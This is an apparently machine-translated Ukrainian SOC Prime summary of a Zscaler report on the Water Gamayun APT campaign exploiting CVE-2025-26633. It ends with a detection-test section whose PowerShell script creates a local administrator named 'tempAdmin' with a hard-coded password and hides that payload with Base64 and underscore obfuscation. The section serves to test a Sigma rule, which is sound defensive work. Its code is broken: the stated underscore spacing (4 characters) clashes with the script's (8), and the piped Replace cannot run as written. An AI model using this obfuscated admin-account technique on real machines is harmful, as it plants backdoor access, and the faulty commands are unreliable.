SOC Prime Bias: Критичний

27 Nov 2025 16:10 UTC

Полювання на загрози від Zscaler викриває та реконструює кампанію води Gamayun APT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Полювання на загрози від Zscaler викриває та реконструює кампанію води Gamayun APT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Звіт охоплює багатоступеневе проникнення, пов’язане з APT-групою Water Gamayun, яка використовує нульовий день вразливості MMC (CVE-2025-26633) для доставки завантаженого навантаження PowerShell у RAR-архіві з подвійним розширенням.

Розслідування

Zscaler реконструював ланцюг атаки від перенаправлення з пошуку Bing до скомпрометованого сайту, завантаження файлу .pdf.rar, експлуатації MSC EvilTwin, поетапних скриптів PowerShell та виконання бекдора ItunesC.exe.

Пом’якшення

Рекомендації включають моніторинг архівів з подвійним розширенням, перевірку перенаправлень, виявлення закодованих команд PowerShell та блокування зловмисних IP і доменів.

Відповідь

При виявленні, сповістити про запуск mmc.exe з PowerShell з -EncodedCommand, ізолювати файл, блокувати зовнішні з’єднання з 103.246.147.17 і активувати процедури реагування на інциденти.

Потік атаки

Виконання симуляції

Передумова: Телеметрія та перевірка базового рівня повинні бути успішно пройдені.

Обґрунтування: Цей розділ детально викладає точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та оповідь повинні точно відображати ідентифіковані TTP та прагнути до точного генерування очікуваної телеметрії логікою виявлення. Абстрактні або непов’язані приклади призведуть до неправильного діагнозу.

  • Опис атаки та команди:
    Зловмисник, використовуючи методологію Water Gamayun, готує зловмисне навантаження PowerShell, яке створює нового локального адміністратора та додає його до групи адміністраторів. Щоб приховати навантаження, зловмисник:

    1. Записує скрипт PowerShell у відкритому тексті.
    2. Кодує його в UTF‑16LE Base64.
    3. Вставляє підкреслення (_) після кожних 4 символів для підвищення ентропії.
    4. Ланцюже дію |Replace('_','') так, що виконання PowerShell видаляє підкреслення перед декодуванням, що відповідає сигнатурі виявлення.

    Остаточна команда виконання:

    powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

    Ця точна командна лінія відповідає двом умовам правила Sigma (-EncodedCommand and |Replace('_','')), генеруючи записи Sysmon EventID 1 та Security EventID 4688, які правило позначатиме.

  • Скрипт регресійного тесту:
    Наведений далі скрипт автоматизує створення обфускаційного навантаження та його виконання. Його можна виконати на будь-якому хості Windows з PowerShell 5.1+.

    # Імітація обфускації PowerShell стилю Water Gamayun
    # Крок 1: Визначити зловмисне навантаження PowerShell (додає локального адміністратора)
    $payload = @'
    $user = "tempAdmin"
    $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
    New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
    Add-LocalGroupMember -Group "Administrators" -Member $user
    '@
    
    # Крок 2: Закодувати в UTF-16LE, а потім Base64
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # Крок 3: Вставити підкреслення кожні 8 символів (імітація шаблону групи)
    $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
    
    # Крок 4: Виконати з необхідним Replace('_','') в конвеєрі
    powershell.exe -EncodedCommand $b64Underscored | Replace('_','')
  • Команди очистки:
    Наступні команди видаляють тестового користувача та відновлюють оточення.

    # Очистка: Видалити тимчасовий обліковий запис адміністратора, створений тестом
    $user = "tempAdmin"
    if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
        Remove-LocalUser -Name $user
        Write-Host "Deleted test user $user."
    } else {
        Write-Host "Test user $user does not exist."
    }